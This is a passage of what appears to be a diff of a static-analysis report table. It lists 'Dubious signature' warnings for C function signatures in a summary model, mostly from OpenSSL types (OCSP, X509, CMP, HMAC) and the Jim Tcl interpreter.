Dubious signature "(FILE *,TS_MSG_IMPRINT **)" in summary model. | +| Dubious signature "(FILE *,TS_REQ **)" in summary model. | +| Dubious signature "(FILE *,TS_RESP **)" in summary model. | +| Dubious signature "(FILE *,TS_TST_INFO **)" in summary model. | +| Dubious signature "(FILE *,X509 **)" in summary model. | +| Dubious signature "(FILE *,X509 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_ACERT **)" in summary model. | +| Dubious signature "(FILE *,X509_ACERT **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_CRL **)" in summary model. | +| Dubious signature "(FILE *,X509_CRL **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_PUBKEY **)" in summary model. | +| Dubious signature "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_REQ **)" in summary model. | +| Dubious signature "(FILE *,X509_REQ **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,X509_SIG **)" in summary model. | +| Dubious signature "(FILE *,X509_SIG **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,char **,char **,unsigned char **,long *)" in summary model. | +| Dubious signature "(FILE *,const ASN1_STRING *,unsigned long)" in summary model. | +| Dubious signature "(FILE *,const CMS_ContentInfo *)" in summary model. | +| Dubious signature "(FILE *,const DH *)" in summary model. | +| Dubious signature "(FILE *,const DSA *)" in summary model. | +| Dubious signature "(FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const DSA *,int)" in summary model. | +| Dubious signature "(FILE *,const EC_GROUP *)" in summary model. | +| Dubious signature "(FILE *,const EC_KEY *)" in summary model. | +| Dubious signature "(FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const NETSCAPE_CERT_SEQUENCE *)" in summary model. | +| Dubious signature "(FILE *,const PKCS7 *)" in summary model. | +| Dubious signature "(FILE *,const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(FILE *,const PKCS12 *)" in summary model. | +| Dubious signature "(FILE *,const RSA *)" in summary model. | +| Dubious signature "(FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,const RSA *,int)" in summary model. | +| Dubious signature "(FILE *,const SSL_SESSION *)" in summary model. | +| Dubious signature "(FILE *,const X509 *)" in summary model. | +| Dubious signature "(FILE *,const X509_ACERT *)" in summary model. | +| Dubious signature "(FILE *,const X509_CRL *)" in summary model. | +| Dubious signature "(FILE *,const X509_NAME *,int,unsigned long)" in summary model. | +| Dubious signature "(FILE *,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(FILE *,const X509_REQ *)" in summary model. | +| Dubious signature "(FILE *,const X509_SIG *)" in summary model. | +| Dubious signature "(FILE *,int *)" in summary model. | +| Dubious signature "(FILE *,int,char *)" in summary model. | +| Dubious signature "(FILE *,lemon *,char *,int *)" in summary model. | +| Dubious signature "(FILE *,lemon *,int *,int)" in summary model. | +| Dubious signature "(FILE *,rule *)" in summary model. | +| Dubious signature "(FILE *,rule *,int)" in summary model. | +| Dubious signature "(FILE *,rule *,lemon *,int *)" in summary model. | +| Dubious signature "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(FILE *,symbol *,lemon *,int *)" in summary model. | +| Dubious signature "(FUNCTION *,DISPLAY_COLUMNS *)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(GCM128_CONTEXT *,void *,block128_f)" in summary model. | +| Dubious signature "(GENERAL_NAME *)" in summary model. | +| Dubious signature "(GENERAL_NAME **,const X509_NAME *)" in summary model. | +| Dubious signature "(GENERAL_NAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(GENERAL_NAME *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)" in summary model. | +| Dubious signature "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)" in summary model. | +| Dubious signature "(GENERAL_NAME *,int,void *)" in summary model. | +| Dubious signature "(GENERAL_NAMES *)" in summary model. | +| Dubious signature "(GENERAL_NAMES **,const unsigned char **,long)" in summary model. | +| Dubious signature "(GENERAL_SUBTREE *)" in summary model. | +| Dubious signature "(GOST_KX_MESSAGE *)" in summary model. | +| Dubious signature "(GOST_KX_MESSAGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(HMAC_CTX *,HMAC_CTX *)" in summary model. | +| Dubious signature "(HMAC_CTX *,const void *,int,const EVP_MD *)" in summary model. | +| Dubious signature "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)" in summary model. | +| Dubious signature "(HMAC_CTX *,unsigned long)" in summary model. | +| Dubious signature "(HT *)" in summary model. | +| Dubious signature "(HT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(HT *,HT_KEY *,HT_VALUE *,HT_VALUE **)" in summary model. | +| Dubious signature "(HT *,size_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(IPAddressChoice *)" in summary model. | +| Dubious signature "(IPAddressChoice **,const unsigned char **,long)" in summary model. | +| Dubious signature "(IPAddressFamily *)" in summary model. | +| Dubious signature "(IPAddressFamily **,const unsigned char **,long)" in summary model. | +| Dubious signature "(IPAddressOrRange *)" in summary model. | +| Dubious signature "(IPAddressOrRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(IPAddressOrRange *,const unsigned int,unsigned char *,unsigned char *,const int)" in summary model. | +| Dubious signature "(IPAddressRange *)" in summary model. | +| Dubious signature "(IPAddressRange **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ISSUER_SIGN_TOOL *)" in summary model. | +| Dubious signature "(ISSUER_SIGN_TOOL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ISSUING_DIST_POINT *)" in summary model. | +| Dubious signature "(ISSUING_DIST_POINT **,const unsigned char **,long)" in summary model. | | Dubious signature "(InputIterator,InputIterator,const Allocator &)" in summary model. | +| Dubious signature "(Jim_HashTable *)" in summary model. | +| Dubious signature "(Jim_HashTable *,const Jim_HashTableType *,void *)" in summary model. | +| Dubious signature "(Jim_HashTable *,const void *)" in summary model. | +| Dubious signature "(Jim_HashTableIterator *)" in summary model. | +| Dubious signature "(Jim_Interp *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_CallFrame *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,char *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,const jim_stat_t *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,double *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int,Jim_Obj **,int)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,int,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *,long *)" in summary model. | +| Dubious signature "(Jim_Interp *,Jim_Obj *const *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,...)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,int)" in summary model. | +| Dubious signature "(Jim_Interp *,const char *,int,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,double)" in summary model. | +| Dubious signature "(Jim_Interp *,int,Jim_Obj *const *)" in summary model. | +| Dubious signature "(Jim_Interp *,int,Jim_Obj *const *,const char *)" in summary model. | +| Dubious signature "(Jim_Interp *,long)" in summary model. | +| Dubious signature "(Jim_Obj *)" in summary model. | +| Dubious signature "(Jim_Obj *,int *)" in summary model. | +| Dubious signature "(Jim_Stack *)" in summary model. | +| Dubious signature "(Jim_Stack *,void *)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,unsigned char,size_t)" in summary model. | +| Dubious signature "(KECCAK1600_CTX *,unsigned char,size_t,size_t)" in summary model. | | Dubious signature "(LPCSTR,IAtlStringMgr *)" in summary model. | | Dubious signature "(LPCTSTR,DWORD *,void *,ULONG *)" in summary model. | | Dubious signature "(LPCWSTR,IAtlStringMgr *)" in summary model. | | Dubious signature "(LPTSTR,LPCTSTR,DWORD *)" in summary model. | +| Dubious signature "(MD4_CTX *,const unsigned char *)" in summary model. | +| Dubious signature "(MD4_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(MD5_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(MD5_SHA1_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(MD5_SHA1_CTX *,int,int,void *)" in summary model. | +| Dubious signature "(MDC2_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(ML_DSA_KEY *)" in summary model. | +| Dubious signature "(ML_DSA_KEY *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *)" in summary model. | +| Dubious signature "(NAME_CONSTRAINTS *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *,ASN1_IA5STRING *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(NAMING_AUTHORITY *,ASN1_STRING *)" in summary model. | +| Dubious signature "(NETSCAPE_CERT_SEQUENCE *)" in summary model. | +| Dubious signature "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_ENCRYPTED_PKEY *)" in summary model. | +| Dubious signature "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_PKEY *)" in summary model. | +| Dubious signature "(NETSCAPE_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_SPKAC *)" in summary model. | +| Dubious signature "(NETSCAPE_SPKAC **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_SPKI *)" in summary model. | +| Dubious signature "(NETSCAPE_SPKI **,const unsigned char **,long)" in summary model. | +| Dubious signature "(NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(NISTZ256_PRE_COMP *)" in summary model. | +| Dubious signature "(NOTICEREF *)" in summary model. | +| Dubious signature "(NOTICEREF **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,OCSP_CERTID *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,OCSP_REQUEST *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 **,stack_st_X509 *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OCSP_CERTID *)" in summary model. | +| Dubious signature "(OCSP_CERTID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_CERTSTATUS *)" in summary model. | +| Dubious signature "(OCSP_CERTSTATUS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_CRLID *)" in summary model. | +| Dubious signature "(OCSP_CRLID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *)" in summary model. | +| Dubious signature "(OCSP_ONEREQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OCSP_REQINFO *)" in summary model. | +| Dubious signature "(OCSP_REQINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_REQUEST *)" in summary model. | +| Dubious signature "(OCSP_REQUEST **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,OCSP_CERTID *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,X509 *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,const X509_NAME *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OCSP_RESPBYTES *)" in summary model. | +| Dubious signature "(OCSP_RESPBYTES **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_RESPDATA *)" in summary model. | +| Dubious signature "(OCSP_RESPDATA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_RESPID *)" in summary model. | +| Dubious signature "(OCSP_RESPID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_RESPID *,X509 *)" in summary model. | +| Dubious signature "(OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OCSP_RESPONSE *)" in summary model. | +| Dubious signature "(OCSP_RESPONSE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_REVOKEDINFO *)" in summary model. | +| Dubious signature "(OCSP_REVOKEDINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SERVICELOC *)" in summary model. | +| Dubious signature "(OCSP_SERVICELOC **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SIGNATURE *)" in summary model. | +| Dubious signature "(OCSP_SIGNATURE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OPENSSL_DIR_CTX **)" in summary model. | +| Dubious signature "(OPENSSL_DIR_CTX **,const char *)" in summary model. | +| Dubious signature "(OPENSSL_INIT_SETTINGS *,const char *)" in summary model. | +| Dubious signature "(OPENSSL_INIT_SETTINGS *,unsigned long)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,const void *)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,unsigned long)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,void *)" in summary model. | +| Dubious signature "(OPENSSL_SA *,ossl_uintmax_t,void *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,OPENSSL_sk_compfunc)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,const void *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,const void *,int *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,const void *,int)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,int)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,int,const void *)" in summary model. | +| Dubious signature "(OSSL_AA_DIST_POINT *)" in summary model. | +| Dubious signature "(OSSL_AA_DIST_POINT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ACKM *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,OSSL_ACKM_TX_PKT *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,OSSL_TIME)" in summary model. | +| Dubious signature "(OSSL_ACKM *,const OSSL_ACKM_RX_PKT *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME)" in summary model. | +| Dubious signature "(OSSL_ACKM *,int)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_CHOICE *)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_ITEM *)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATAV *)" in summary model. | +| Dubious signature "(OSSL_ATAV **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTES_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_DESCRIPTOR *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPING *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPINGS *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_TYPE_MAPPING *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_VALUE_MAPPING *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_BASIC_ATTR_CONSTRAINTS *)" in summary model. | +| Dubious signature "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAVS *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAVS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CAKEYUPDANNCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTIFIEDKEYPAIR *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTORENCCERT *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREPMESSAGE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREQTEMPLATE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTRESPONSE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTSTATUS *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_CHALLENGE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSOURCE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSTATUS *)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_log_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,POLICYINFO *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509 *,int,const char **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509_EXTENSIONS *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509_STORE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const GENERAL_NAME *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const 